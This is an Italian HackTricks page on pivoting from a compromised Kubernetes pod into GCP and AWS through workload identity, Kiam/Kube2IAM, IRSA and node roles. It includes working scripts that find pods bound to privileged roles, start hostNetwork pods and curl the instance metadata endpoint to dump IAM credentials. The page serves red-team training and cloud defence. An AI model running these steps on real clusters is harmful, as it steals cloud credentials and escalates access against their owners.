Kubernetes Pivoting to Clouds

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

GCP

Se stai eseguendo un cluster k8s all'interno di GCP, probabilmente vorrai che alcune applicazioni in esecuzione all'interno del cluster abbiano accesso a GCP. Ci sono 2 modi comuni per farlo:

Montaggio delle chiavi GCP-SA come segreto

Un modo comune per dare accesso a un'applicazione Kubernetes a GCP è:

  • Creare un GCP Service Account

  • Associare ad esso le autorizzazioni desiderate

  • Scaricare una chiave json dell'SA creato

  • Montarla come segreto all'interno del pod

  • Impostare la variabile d'ambiente GOOGLE_APPLICATION_CREDENTIALS che punta al percorso in cui si trova il file json.

Pertanto, come attaccante, se comprometti un container all'interno di un pod, dovresti controllare quella variabile d'ambiente e i file json con le credenziali GCP.

Collegamento del json GSA al segreto KSA

Un modo per dare accesso a un GSA a un cluster GKE è associarli in questo modo:

  • Creare un account di servizio Kubernetes nello stesso namespace del tuo cluster GKE utilizzando il seguente comando:

Copy codekubectl create serviceaccount <service-account-name>
  • Crea un Secret di Kubernetes che contenga le credenziali dell'account di servizio GCP a cui desideri concedere l'accesso al cluster GKE. Puoi farlo utilizzando lo strumento da linea di comando gcloud, come mostrato nell'esempio seguente:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Collega il Secret di Kubernetes all'account di servizio di Kubernetes utilizzando il seguente comando:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Nel secondo passaggio sono state impostate le credenziali del GSA come segreto del KSA. Quindi, se puoi leggere quel segreto da all'interno del cluster GKE, puoi elevarti a quel service account GCP.

Identità del carico di lavoro GKE

Con l'identità del carico di lavoro, possiamo configurare un account di servizio Kubernetes per agire come un account di servizio Google. I pod in esecuzione con l'account di servizio Kubernetes si autenticano automaticamente come l'account di servizio Google quando accedono alle API di Google Cloud.

La prima serie di passaggi per abilitare questo comportamento è abilitare l'identità del carico di lavoro in GCP (passaggi) e creare l'account di servizio GCP che si desidera impersonare con k8s.

  • Abilita l'identità del carico di lavoro su un nuovo cluster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Creare/Aggiornare un nuovo nodepool (I cluster Autopilot non ne hanno bisogno)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Crea il Service Account GCP da impersonare da K8s con le autorizzazioni GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Connettiti al cluster e crea il service account da utilizzare

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Associa il GSA con il KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Esegui un pod con il KSA e controlla l'accesso a GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Controlla il seguente comando per autenticarti, se necessario:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Come attaccante all'interno di K8s dovresti cercare gli SAs con l'annotazione iam.gke.io/gcp-service-account poiché indica che l'SA può accedere a qualcosa in GCP. Un'altra opzione sarebbe cercare di abusare di ogni KSA nel cluster e verificare se ha accesso. Da GCP è sempre interessante enumerare i binding e sapere a quali accessi stai dando agli SAs all'interno di Kubernetes.

Questo è uno script per scorrere facilmente tutte le definizioni dei pod alla ricerca di quell'annotazione:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role per i Pods)

Un modo (obsoleto) per fornire IAM Roles ai Pods è utilizzare un server Kiam o un server Kube2IAM. Fondamentalmente, è necessario eseguire un daemonset nel cluster con un tipo di ruolo IAM privilegiato. Questo daemonset sarà quello che fornirà l'accesso ai ruoli IAM ai pods che ne hanno bisogno.

Prima di tutto, è necessario configurare quali ruoli possono essere accessibili all'interno del namespace, e si fa ciò con un'annotazione all'interno dell'oggetto namespace:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Una volta che il namespace è configurato con i ruoli IAM che i Pods possono avere, puoi indicare il ruolo desiderato su ogni definizione del pod con qualcosa del genere:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Come attaccante, se trovi queste annotazioni nei pod o nei namespace o un server kiam/kube2iam in esecuzione (probabilmente in kube-system), puoi impersonare ogni ruolo che è già utilizzato dai pod e altro ancora (se hai accesso all'account AWS, elenca i ruoli).

Crea Pod con ruolo IAM

Il ruolo IAM da indicare deve trovarsi nello stesso account AWS del ruolo kiam/kube2iam e tale ruolo deve essere in grado di accedervi.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role per gli account di servizio K8s tramite OIDC

Questo è il modo consigliato da AWS.

  1. Prima di tutto, è necessario creare un provider OIDC per il cluster.

  2. Quindi, creare un ruolo IAM con le autorizzazioni richieste dall'account di servizio (SA).

  3. Creare una relazione di trust tra il ruolo IAM e l'account di servizio specificando il nome dell'account di servizio (o i namespace che concedono accesso al ruolo a tutti gli account di servizio del namespace). La relazione di trust verificherà principalmente il nome del provider OIDC, il nome del namespace e il nome dell'account di servizio.

  4. Infine, creare un account di servizio con un'annotazione che indica l'ARN del ruolo, e i pod in esecuzione con quell'account di servizio avranno accesso al token del ruolo. Il token viene scritto all'interno di un file e il percorso è specificato in AWS_WEB_IDENTITY_TOKEN_FILE (predefinito: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Per ottenere aws utilizzando il token da /var/run/secrets/eks.amazonaws.com/serviceaccount/token, eseguire:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Come attaccante, se riesci a enumerare un cluster K8s, controlla gli account di servizio con quell'annotazione per elevarti ad AWS. Per farlo, basta eseguire/creare un pod utilizzando uno degli account di servizio privilegiati IAM e rubare il token.

Inoltre, se ti trovi all'interno di un pod, controlla le variabili di ambiente come AWS_ROLE_ARN e AWS_WEB_IDENTITY_TOKEN.

A volte la Politica di Fiducia di un ruolo potrebbe essere mal configurata e invece di concedere l'accesso AssumeRole all'account di servizio previsto, lo concede a tutti gli account di servizio. Pertanto, se sei in grado di scrivere un'annotazione su un account di servizio controllato, puoi accedere al ruolo.

Controlla la pagina seguente per ulteriori informazioni:

Trova i Pods e gli SAs con Ruoli IAM nel Cluster

Questo è uno script per scorrere facilmente tutti i pod e le definizioni degli SAs alla ricerca di quella annotazione:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Ruolo IAM del nodo

La sezione precedente riguardava come rubare i ruoli IAM con i pod, ma nota che un Nodo del cluster K8s sarà un'istanza all'interno del cloud. Ciò significa che è molto probabile che il Nodo abbia un nuovo ruolo IAM che puoi rubare (nota che di solito tutti i nodi di un cluster K8s avranno lo stesso ruolo IAM, quindi potrebbe non valere la pena controllare ogni nodo).

Tuttavia, c'è un requisito importante per accedere al punto di accesso dei metadati dal nodo, devi essere nel nodo (sessione ssh?) o almeno avere la stessa rete:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Rubare il token del ruolo IAM

Precedentemente abbiamo discusso come associare ruoli IAM ai pod o addirittura come scappare al nodo per rubare il ruolo IAM che l'istanza ha associato ad esso.

Puoi utilizzare lo script seguente per rubare le nuove credenziali del tuo ruolo IAM appena ottenuto:

#!/bin/bash

# Get the instance metadata
metadata=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Get the IAM role name
role_name=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$metadata)

# Get the IAM role credentials
credentials=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name)

# Print the credentials
echo $credentials

Questo script recupera le informazioni sulle credenziali del ruolo IAM utilizzando l'API di metadati dell'istanza.

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated